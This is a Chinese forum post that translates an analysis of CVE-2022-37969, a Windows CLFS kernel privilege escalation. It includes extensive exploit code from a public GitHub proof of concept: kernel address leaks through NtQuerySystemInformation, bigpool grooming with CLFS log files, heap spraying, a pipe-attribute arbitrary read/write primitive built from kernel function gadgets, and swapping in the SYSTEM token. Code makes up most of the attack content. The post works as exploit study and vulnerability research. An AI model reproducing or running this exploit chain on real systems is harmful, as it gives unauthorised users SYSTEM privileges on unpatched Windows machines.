-
-
[翻译]Windows CLFS 提权漏洞 CVE-2022-37969 漏洞利用
-
2023-6-10 15:33 8072
-
https://www.coresecurity.com/core-labs/articles/understanding-cve-2022-37969-windows-clfs-lpe
找不到样本,结合GitHub上的一个exp,翻译文章学习下
先决条件
在开始分析 CVE-2022-37969 的利用之前,先介绍下相关的内核结构
_EPROCESS结构是一个不透明的结构,表示内核中的进程对象。Windows上运行的每个进程在内核中都有相应的_EPROCESS对象。下图显示了Windows11内核中_EPROCESS的结构布局。
令牌字段存储在_EPROCESS结构的0x4B8偏移处。_EPROCESS.Token指向_EX_FAST_REF结构。_EX_FAST_REF结构的三个字段(Object、RefCnt、Value)具有相同的偏移量,_EX_FAST_REF对象的最后4位数字表示RefCnt字段,该字段表示对此令牌的引用。因此,将最后4位数字清零,可以获得_TOKEN结构的实际地址。
_TOKEN是一种内核结构,用于描述进程的安全上下文,并包含令牌id、令牌权限、会话id、令牌类型、登录会话等信息。下图显示了内核中_TOKEN的结构布局。
通常,在内核中操作_Token对象可以用于提升权限。涉及两种通用技术,一种是令牌替换,用拥有高权限进程中的的令牌替换低权限进程中的令牌。第二种是修改令牌特权,向现有令牌添加并启用更多特权。CVE-2022-37969的样本利用了令牌替换技术。
在用户空间中,用户可以使用CreatePipe函数创建匿名管道,并将句柄返回到管道的读取和写入端。
https://learn.microsoft.com/zh-cn/windows/win32/api/namedpipeapi/nf-namedpipeapi-createpipe
1 2 3 4 5 | BOOL CreatePipe( [out] PHANDLE hReadPipe, [out] PHANDLE hWritePipe, [ in , optional] LPSECURITY_ATTRIBUTES lpPipeAttributes, [ in ] DWORD nSize ); |
用户可以将属性添加到管道中。这些属性是一对键值,存储在一个链表中。PipeAttribute结构是在PagedPool中分配的内核空间中属性的表示。PipeAttribute结构定义如下。
1 2 3 4 5 6 7 8 9 10 11 | struct PipeAttribute { LIST_ENTRY list ; char * AttributeName; uint64_t AttributeValueSize; char * AttributeValue; char data [ 0 ]; }; typedef struct _LIST_ENTRY { struct _LIST_ENTRY * Flink; struct _LIST_ENTRY * Blink; } LIST_ENTRY, * PLIST_ENTRY, PRLIST_ENTRY; |
PipeAttribute 结构的内存布局如下
可以使用NtFsControlFile API设置第六个参数FsControlCode为0x11003C在管道上创建管道属性(pipe attribute),将NtFsControlFile 第 6 个参数 FsControlCode 设置为 0x110038可以读取属性值
https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntfscontrolfile
_ETHREAD 是不透明的结构,表示内核中线程的线程对象
_ETHREAD 结构的布局如下,PreviousMode字段位于 _ETHREAD 结构中的0x232偏移处。
关于PreviousMode,微软的文档指出:“当用户模式应用程序调用本机系统服务例程的Nt或Zw版本时,系统调用机制将调用线程陷入内核模式。为了指示参数值起源于用户模式,系统调用的陷阱处理程序将调用者的线程对象中的PreviousMode字段设置为UserMode。
https://learn.microsoft.com/zh-cn/windows-hardware/drivers/kernel/previousmode
https://learn.microsoft.com/zh-cn/windows-hardware/drivers/kernel/introduction-to-thread-objects
下图展示了NtWriteVirtualMemory的实现,
当 PreviousMode 设置为 1 (UserMode) 时,来自用户空间的NT 或 Zw 版本函数调用将其中进行地址验证。在这种情况下,对内核内存的任意写将失败。相反,当 PreviousMode 设置为 0 (KernelMode) 时,将跳过地址验证,可以写入任意内核内存地址。针对 Windows 10 的 CVE-2022-37969 漏洞利用使用PreviousMode 实现任意写入原语。
Windows 11 上的利用
检查 Windows 操作系统版本
下图展示了一个由 OS Build Number和 UBR 组成的 Windows 操作系统内部版本号
该漏洞利用程序首先检查运行样本的 Windows 操作系统 (OS) 版本是否受支持
该exp通过 NtCurrentTeb()->ProcessEnvironmentBlock 获取 _PEB 对象,然后从 _PEB 结构中 0x120 偏移处的 OSBuildNumber 字段中获取操作系统内部版本号。
UBR可以通过查询注册表项HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion中UBR 值获得。一旦漏洞确认支持目标 Windows,就会将 _EPROCESS 结构的 Token 字段的偏移量存储在全局变量中
Windows 11 (21H2) 10.0.22000.918 中偏移量为0x4B8。
下为github开源exp的部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | int getOSversion() { char buff[ 100 ]; HKEY hKey; DWORD cType; wchar_t lpData[ 1024 ] = { 0 }; DWORD buffersize = sizeof(lpData); int tokenOffset = 0 ; memset(buff, 0 , sizeof(buff)); / / clear buffer if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT( "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" ), NULL, KEY_READ, &hKey) = = ERROR_SUCCESS) { printf( "[+] Registry key Opened successfully\n" ); } else { printf( "[!] Failed to open reg key: %s\n" , GetLastError()); exit( 1 ); } LPCWSTR valueName_CurrentBuild = L "CurrentBuild" ; RegQueryValueExW(hKey, valueName_CurrentBuild, NULL, &cType, (LPBYTE)lpData, &buffersize); RegCloseKey(hKey); / / convert unicode to ansi WideCharToMultiByte(CP_UTF8, 0 , lpData, - 1 , (LPSTR)buff, 0x80 , 0 , 0 ); / / convert string to int winversion = atoi(buff); wprintf(L "[+] Windows Build Number: %i\n" , winversion); / / check if versions are supported if (winversion > = 17763 && winversion < = 22000 ) { token_offset = 0x4b8 ; / / store the token offset } else { printf( "[!] Version %d not supported. Exiting...\n" , winversion); } return 0 ; } |
检索 _EPROCESS 和 _TOKEN
接下来,漏洞利用程序通过使用适当的参数调用NtQuerySystemInformation API获取当前进程和拥有SYSTEM特权的System进程(PID 4)的_EPROCESS和_TOKEN。NtQuerySystemInformation API根据第一个参数检索指定的系统信息,其声明如下:
1 2 3 4 5 6 | __kernel_entry NTSTATUS NtQuerySystemInformation( [ in ] SYSTEM_INFORMATION_CLASS SystemInformationClass, [ in , out] PVOID SystemInformation, [ in ] ULONG SystemInformationLength, [out, optional] PULONG ReturnLength ); |
样本中相应的代码
1、获取NtQuerySystemInformation API的函数地址。
1 | fnNtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(LoadLibrary(L "ntdll.dll" ), "NtQuerySystemInformation" ); |
2、 调用NtQuerySystemInformation API,第一个参数设置为 SystemExtendedHandleInformation (0x40)。如果该函数返回 NTSTATUS 成功,将检索到的信息将存储在第二个参数 SystemInformation 中,该参数是指向 SYSTEM_HANDLE_INFORMATION_EX 结构的指针。
SYSTEM_HANDLE_INFORMATION_EX 内存布局如下图所示。
接下来,代码定位与当前进程关联的 _EPROCESS 对象。最后,_EPROCESS 对象的地址存储在一个全局变量中。
3、再次调用NtQuerySystemInformation API,第一个参数设置为 SystemExtendedHandleInformation (0x40)。如果该函数返回 NTSTATUS 成功,则代码定位与系统进程 (PID 4) 关联的 _EPROCESS 对象。最后,System_EPROCESS 对象的地址存储在一个全局变量中。
4、获取当前进程的_EPROCESS对象的Token字段地址和System进程的_EPROCESS对象的Token字段地址。两个地址都存储在相应的全局变量中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 | g_EProcessAddress = GetObjectKernelAddress(hProcess); system_EPROCESS = GetObjectKernelAddress((HANDLE) 4 ); SIZE_T GetObjectKernelAddress(HANDLE Object ) { PSYSTEM_HANDLE_INFORMATION_EX handleInfo = NULL; ULONG handleInfoSize = 0x1000 ; ULONG retLength; NTSTATUS status; SIZE_T kernelAddress = 0 ; BOOL bFind = FALSE; while (TRUE) { handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize); status = fnNtQuerySystemInformation(SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength); if (status = = 0xC0000004 || NT_SUCCESS(status)) / / STATUS_INFO_LENGTH_MISMATCH { LocalFree(handleInfo); handleInfoSize = retLength + 0x100 ; handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize); status = fnNtQuerySystemInformation(SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength); if (NT_SUCCESS(status)) { for (ULONG i = 0 ; i < handleInfo - >NumberOfHandles; i + + ) { if ((USHORT) Object = = 0x4 ) { if ( 0x4 = = (DWORD)handleInfo - >Handles[i].UniqueProcessId && (SIZE_T) Object = = (SIZE_T)handleInfo - >Handles[i].HandleValue) { kernelAddress = (SIZE_T)handleInfo - >Handles[i]. Object ; bFind = TRUE; break ; } } else { if (GetCurrentProcessId() = = (DWORD)handleInfo - >Handles[i].UniqueProcessId && (SIZE_T) Object = = (SIZE_T)handleInfo - >Handles[i].HandleValue) { kernelAddress = (SIZE_T)handleInfo - >Handles[i]. Object ; bFind = TRUE; break ; } } } } } if (handleInfo) LocalFree(handleInfo); if (bFind) break ; } return kernelAddress; } |
该漏洞还将一些关键数据结构存储在全局变量中。下图中显示了这些全局变量及其代表的内容。
检索访问令牌
exp调用OpenProcessToken函数打开与当前进程关联的访问令牌。OpenProcessToken函数返回时,一个指向访问令牌的句柄的指针被存储在第三个参数中。然后,漏洞利用程序调用NtQuerySystemInformation API,第一个参数设置为SystemHandleInformation(0x10)。如果它返回NTSTATUS成功,则检查标识新打开的访问令牌的句柄是否存在于系统句柄列表中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 | int checkAccessToken() { int v8 = 0 ; / / todavia no se que es PHANDLE TokenHandle = 0 ; / / int savedHprocess = 0 ; NTSTATUS status2; ULONG size2; NTSTATUS status3; UINT64 v11 = 0 ; PUINT v12 = 0 ; user32 = LoadLibraryW(L "user32.dll" ); int currentpid = GetCurrentProcessId(); hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, 0 , currentpid); if (!hProcess) { printf( "[!] OpenProcess failed with error %d\n" , GetLastError()); } printf( "[+] hProcess: 0x%x\n" , hProcess); savedHprocess = (UINT)hProcess; if (!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hProcess)) { printf( "[!] OpenProcessToken failed with error %d\n" , GetLastError()); return 0 ; } TokenHandle = &hProcess; printf( "[+] Token handle: 0x%x\n" , TokenHandle); VOID * v10 = malloc( 0x20 ); if (!v10) { exit( 1 ); } status2 = fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, v10, 32 , &size2); if (! * (PUINT)v10) { exit( 1 ); } if (status2 = = 0xC0000004 || NT_SUCCESS(status2)) / / STATUS_INFO_LENGTH_MISMATCH { LocalFree(v10); v10 = malloc(size2); printf( "[+] Structure Address %p\n" , v10); status3 = fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, v10, size2, &size2); printf( "[+] Number of Handles: 0x%x\n" , * (PULONG)v10); } v12 = (PUINT)v10 + 3 ; printf( "[+] Direccion: 0x%p pid: %x\n" , (v12 - 1 ), * (v12 - 1 )); while ( * (v12 - 1 ) ! = GetCurrentProcessId() || * (BYTE * )v12 ! = 5 || * (PUINT16)TokenHandle ! = * (PUINT16)((PCHAR)v12 + 2 )) { / / printf( "pasada %d\n" , v11); v11 + + ; v12 = (PUINT)v12 + 6 ; / / printf( "v12 = %p\n" , v12); if (v11 > = * (PUINT)v10) { printf( "[+] Termino\n" ); break ; } } printf( "[+] Valor: %x\n" , * (PUINT16)v12); printf( "[+] Salida del while\n" ); return 0 ; } |
获取Base Block的bigpools间的偏移量
利用代码中使用了以下技术来确保确保最后申请的2个blf文件的MetadataBlock相隔距离正好为0x11000字节
在创建每个新的 MyLog_xxx.blf 基础文件后,调用ZwQuerySystemInformation 函数,第一个参数为 SystemBigPoolInformation(0x42)。如果函数返回 NTSTATUS 成功,检索到的信息将存储在第二个参数SystemInformation中,该参数是一个指向SYSTEM_BIGPOOL_ENTRY结构的指针,该结构在运行时保存所有的bigpool内存。
bigpool中的分配数量存储在第一个名为Count的字段中。在第二个字段中有一个名为SYSTEM_BIGPOOL_ENTRY的结构数组。
从那里我们将搜索“ Clfs ”标签和大小0x7a00的所有结构。VirtualAddress 存储在名为kernelAddrArray的数组中,该数组是具有CLFS标记且大小为0x7a00的每个结构的第一个字段。
接下来的循环中,代码检查第N个BLF的基本块和第N+1个BLF的基本块之间的偏移量是否恒定。直到偏移量恒定,代码才会跳出循环。常量值为0x11000。将常量值加上0x14B,设置为Base Record Header中的cbSymbolZone字段。
1 2 3 4 5 6 | NTSTATUS WINAPI ZwQuerySystemInformation( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength ); |
https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/bigpool_entry.htm
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 | VOID GetOffsetBetweenPools() { UINT64 a2 = 0 ; PUINT64 p_a2 = &a2; WCHAR * buf = (WCHAR * )malloc( 0x1000 ); do { while ( 1 ) { while ( 1 ) { do { HANDLE logFile1; do { v26 = v24; memset(buf, 0 , 0x1000 ); unsigned int rnum = rand(); wsprintfW((LPWSTR)buf, L "%s_%d" , stored_env_fname, rnum); logFile1 = CreateLogFile((LPWSTR)buf, 0xc0010000 , 3 , 0 , 4 , 0 ); } while (logFile1 = = (HANDLE) - 1 ); int * handleArray = ( INT * )malloc( 4 ); * handleArray = ( INT )logFile1; getBigPoolInfo(p_a2); / / SystemBigPoolInformation / / printf( "[+] Last BigPoolAddress of Clfs tag --> %p\n [+]Total Clfs tags --> 0x%x\n" , a2, num_of_CLFS); v24 = p_a2[ 0 ]; } while (!v26); v31b = p_a2[ 0 ] - v26; / / v32存储最后找到的两个正确池的VirtualAddress之间的差异 v32 = v26 - p_a2[ 0 ]; if (v31b > 0 ) { v32 = v31b; } / / printf( "[+] Distancia --> %x\n" , v32); if (v23) break ; v23 = v32; } if (v23 = = v32) break ; v22 = 0 ; v23 = v32; } + + v22; } while (v22 < 5 ); / / printf( "[+] v22 --> %p\n" , v22); return ; } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 | / / SystemBigPoolInformation int getBigPoolInfo(PUINT64 _a2) { UINT64 v7 = 0 ; UINT v8 = 0 ; / / counter UINT64 v11 = 0 ; ULONG retlen = 0 ; PUINT64 v15 = 0 ; ULONG v4 = 0 ; DWORD * v5; UINT v6 = 0 ; DWORD * v3 = (DWORD * )VirtualAlloc( 0 , 0x1000 , 0x1000 , 4 ); if (fnNtQuerySystemInformation(SystemBigPoolInformation, v3, 0x1000 , &retlen) = = 0xC0000004 ) { while ( 1 ) { VirtualFree(v3, 0 , 0x8000 ); v4 = retlen; v5 = (DWORD * )VirtualAlloc( 0 , (SIZE_T)retlen, 0x1000 , 4 ); v3 = v5; if (!v5) { printf( "[+] Error Allocating Memory\n" ); break ; } / / fnNtQuerySystemInformation需要调用两次,第一次返回错误但会告诉我们调用第二次所需的正确缓冲区大小,以获取所需的信息。 if (fnNtQuerySystemInformation(SystemBigPoolInformation, v5, v4, &retlen) ! = 0xC0000004 ) { / / v5 = SYSTEM_BIG_POOL_INFORMATION goto label_4; } else { break ; } } / / printf( "[+] Error Allocating Memory\n" ); } else { label_4: v6 = (UINT) * (PUINT)v3; / / v6 is the field count on the SYSTEM_BIGPOOL_INFORMATION / / printf( "[+] Field Count --> %x\n" , v6); if (flag2 = = 0 ) { kernelAddrArray = (PUINT64)malloc(v6 * 8 ); printf( "Kernel addresss array %p" , kernelAddrArray); memset(kernelAddrArray, 0 , (v6 * 8 )); flag2 + + ; } if (v6) { v9 = * p_num_of_CLFS; v10 = (PUINT64)&v3[ 4 * v6 - 4 + 2 * v6]; / / printf( "[+] LAST SYSTEM BIG POOL ENTRY OFFSET --> %p\n" , v10); / / offset to the last SYSTEM_BIGPOOL_ENTRY do { v11 = * v10 & 0xFFFFFFFFFFFFFFFE ; / / printf( "[+] First field value of BIG POOL ENTRY structure, named Virtual Address --> %p\n" , v11); if (( * v10 & 1 ) = = 0 ) { v11 = * v10; } if (v10[ 1 ] = = 0x7a00 ) / / search for the clfs base log file size { UINT v12 = 0 ; while ( 1 ) { CHAR v13 = tag[v12 + + ]; if (v13 ! = * ((BYTE * )v10 + v12 + 15 )) { break ; } if (v12 = = 5 ) / / tag Clfs found ! { UINT v14 = 0 ; if (v9 < = 0 ) { label_16: UINT v16 = v9 + + ; kernelAddrArray[v16] = v11; if (_a2) { + + v8; * _a2 = v11; } / / a2始终指向创建的带有CLFS标记且大小为 0x7a00 的最后一个正确的池 } else { v15 = kernelAddrArray; while ( * v15 ! = v11) { + + v14; + + v15; if (v14 > = v9) { goto label_16; } } } break ; } } } + + v7; v10 - = 3 ; / / back 0x18 to previous System Big Pool Entry to find the 0x7a00 } while (v7 < v6); / / it compares the counter against the field count of SYSTEM_BIGPOOL_INFORMATION * p_num_of_CLFS = v9; } / / printf( "[+] Variables: v8 = %x v9 = %x\n" , v8, v9); / / printf( "[+] Kernel Addresses array --> %p\n" , kernelAddrArray); if (_a2 && v8 = = 0 ) { printf( "[+] Not found available chunk\n" ); exit( 1 ); } VirtualFree(v3, 0 , 0x8000 ); } return 0 ; } |
制作基本日志文件
基本日志文件得过程参考上文,在构造基本日志文件之前,EXP利用堆喷射来设置受控内存。
堆喷射后的内存布局
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | int doHeapSpray() { UINT64 alloc00 = 0x5000000 ; UINT64 alloc01 = 0x10000 ; if (!VirtualAlloc((LPVOID)alloc00, 0x100000 , 0x3000 , 4 )) { printf( "[-] Failed to allocate memory\n" ); return 0 ; } if (!VirtualAlloc((LPVOID) 0x10000 , 0x1000000 , 0x3000 , 4 )) { DWORD lastError = GetLastError(); printf( "[-] Failed to allocate memory at address 0x1000\n" ); return 0 ; } for ( int i = 0 ; i < 0x1000000 ; i + = 0x10 ) * (UINT64 * )(i + 0x10000 ) = 0x5000000 ; printf( "[+] Successful allocated at 0x10000\n" ); / / getchar(); return 0 ; } |
Module-gadget 任意写入原语
有以下几个步骤
1、调用CreatePipe函数创建一个匿名管道,并使用NtFsControlFile API在管道上添加一个管道属性,其中第6个参数FsControlCode设置为0x11003C。然后,该代码调用ZwQuerySystemInformation,第一个参数设置为SystemBigPoolInformation(0x42)。在函数返回NTSTATUS成功之后,检索到指向SYSTEM_BIGPOOL_ENTRY结构的指针。最后,定位代表新创建的PipeAttribute对象的bigpool。变量v30存储了这个PipeAttribute对象的内核地址。下图显示了内核中创建的PipeAttribute对象的内存布局。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 | int pipeArbitraryWriteValues() { VOID * v9a = 0 ; / / UINT64 v10 = 0 ; ULONG retlen2 = 0 ; DWORD * v10 = 0 ; v10 = (DWORD * )VirtualAlloc( 0 , 0x1000 , 0x1000 , 4 ); FARPROC v22a = NULL; UINT PIPE_ATTR_TAG = 0x7441704E ; HMODULE nt = GetModuleHandleA( "ntdll" ); _NtFsControlFile = (func * )GetProcAddress(nt, "NtFsControlFile" ); if (!_NtFsControlFile) exit( 1 ); printf( "[+] NtFsControlFile Address --> %p\n" , _NtFsControlFile); / / 创建匿名管道 if (CreatePipe((PHANDLE)&hReadPipe[ 1 ], (PHANDLE)&hReadPipe[ 0 ], 0 , 0x1000 )) { printf( "[+] hReadPipe --> %x\n[+] hWritePipe --> %x\n" , hReadPipe[ 1 ], hReadPipe[ 0 ]); v9a = _malloc_base( 0x2000 ); memset((UINT64 * )v9a + 1 , 0x41 , 0xffe ); * (UINT64 * )v9a = 0x5a ; / / "Z" VOID * dest = malloc( 0x100 ); memset(dest, 0x42 , 0xff ); / / 为管道添加属性,第 6 个参数FsControlCode设置为 0x11003C / / https: / / learn.microsoft.com / en - us / windows - hardware / drivers / ddi / ntifs / nf - ntifs - ntfscontrolfile _NtFsControlFile(hReadPipe[ 0 ], 0 , 0 , 0 , &v30, 0x11003c , v9a, 0xfd8 , dest, 0x100 ); fnNtQuerySystemInformation(SystemBigPoolInformation, v10, 0x1000 , &retlen2); DWORD * v5a = (DWORD * )VirtualAlloc( 0 , (SIZE_T)retlen2, 0x1000 , 4 ); / / fnNtQuerySystemInformation(SystemBigPoolInformation, v5a, retlen2, &retlen2); / / find Attribute Tag inside the Pool NTSTATUS status = STATUS_SUCCESS; if (NT_SUCCESS(status = fnNtQuerySystemInformation(SystemBigPoolInformation, v5a, retlen2, &retlen2))) { PSYSTEM_BIGPOOL_INFORMATION pBuf = (PSYSTEM_BIGPOOL_INFORMATION)(v5a); for (ULONG i = 0 ; i < pBuf - >Count; i + + ) { __try { if (pBuf - >AllocatedInfo[i].TagUlong = = PIPE_ATTR_TAG) { printf( "[+] VirtualAddress -->%p\n[+] Tag --> %s\n" , pBuf - >AllocatedInfo[i].VirtualAddress, &pBuf - >AllocatedInfo[i].TagUlong); v30.Pointer = pBuf - >AllocatedInfo[i].VirtualAddress; break ; } } __except (EXCEPTION_EXECUTE_HANDLER) { printf( "(%s) Access Violation was raised." , __FUNCTION__); } } } |
2、获取System (PID 4) 进程的_EPROCESS 对象的内核地址,在内存区域(0x10000 ~ 0x1010000)的偏移N*8+8处设置PipeAttribute对象中AttributeValueSize字段的地址。将addr_EPROCESS_System&0xfffffffffffff000的结果写入偏移量0xFFFFFFFF处,并在偏移量0x100000007处写入0x414141414141005A。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | v14 = system_EPROCESS & 0xfff ; v15 = system_EPROCESS & 0xfffffffffffff000 ; dest2 = 0xffffffff ; dest3 = 0x100000007 ; value2 = 0x414141414141005A ; value3 = 0 ; value3 = &value2; memset((LPVOID)dest3, 0 , 0xff8 ); * (UINT64 * )dest2 = v15; CHAR * v16a = (CHAR * )v30.Pointer + 24 ; / / this address should point to AttributeValueSize in kernel pool printf( "[+] v30.Pointer --> %p\n[+] v30.Pointer+24 --> %p\n" , (CHAR * )v30.Pointer, v16a); * (UINT64 * )dest3 = value2; |
3、ClfsEarlierLsn函数的地址存放在0x5000018处,
SeSetAccessStateGenericMapping函数的地址存放在0x5000008处
1 2 3 | * (PUINT64)( 0x5000000 ) = 0x123456789 ; * (PUINT64)( 0x5000008 ) = fnSeSetAccessStateGenericMapping; * (PUINT64)( 0x5000018 ) = fnClfsEarlierLsn; |
4、触发漏洞。CClfsBaseFilePersisted::RemoveContainer函数中对已损坏的指向伪造CClfsContainer对象的指针进行解引用。被解引用的地址指向的数据可以通过用户空间的堆喷射进行控制和操作。
在SeSetAccessStateGenericMapping函数的结尾,PipeAttribute对象中的AttributeValue字段已被覆盖为addr_EPROCESS_System&0xfffffffffffff000。addr_EPROCESS_System代表System进程(PID 4)的_EPROCESS对象的地址。
假CClfsContainer对象中的假vftable指向0x5000000,其中ClfsEarlierLsn函数的地址存储在0x5000018,SeSetAccessStateGenericMapping函数的地址存储在0x0x5000008。RAX取值0x5000000并首先跳转到位于0x5000000+18的函数,然后跳转到0x5000000+8。依次调用ClfsEarlierLsn函数和nt!SeSetAccessStateGenericMapping函数。ClfsEarlierLsn函数返回后,寄存器RDX等于0xFFFFFFFF。在地址 0xFFFFFFFF 中,存储了 SYSTEM _EPROCESS & 0xFFFFFFFFFFFFFFF000 的结果
在 SeSetAccessStateGenericMapping 函数的末尾,PipeAttribute 对象中的 AttributeValue 字段已被 addr_EPROCESS_System & 0xfffffffffffff000 覆盖。addr_EPROCESS_System 表示系统进程(PID 4)的 _EPROCESS 对象的地址。
5、使用NtFsControlFile API读取管道上的管道属性,第6个参数FsControlCode设置为0x110038。这将从被覆盖的AttributeValue字段指向的地址获取管道属性,并将内核数据复制到用户空间的堆缓冲区中。被覆盖的AttributeValue字段指向地址addr_EPROCESS_System&0xfffffffffffff000。然后,该代码基于Token字段的偏移量获取System(PID 4)进程的_EPROCESS对象中的Token字段。最后,System进程(PID 4)的Token字段的值存储在全局变量qword_1400A8128中。
1 2 3 4 5 | typedef NTSTATUS func(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS); func * _NtSetInformationFile = (func * )GetProcAddress(LoadLibraryA( "ntdll.dll" ), "NtSetInformationFile" ); NTSTATUS setresult = _NtSetInformationFile(v55, (PIO_STATUS_BLOCK)v33, v28, 1i64 , (FILE_INFORMATION_CLASS) 13 ); / / printf( "SetInformationFile: 0x%x\n" , GetLastError()); |
替换 Token
为了完成令牌替换,该漏洞利用程序二次触发CLFS漏洞并执行以下操作。
出发漏洞,依次调用 ClfsEarlierLsn 函数和 nt!SeSetAccessStateGenericMapping 函数,将当前进程Token替换为system 的token
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课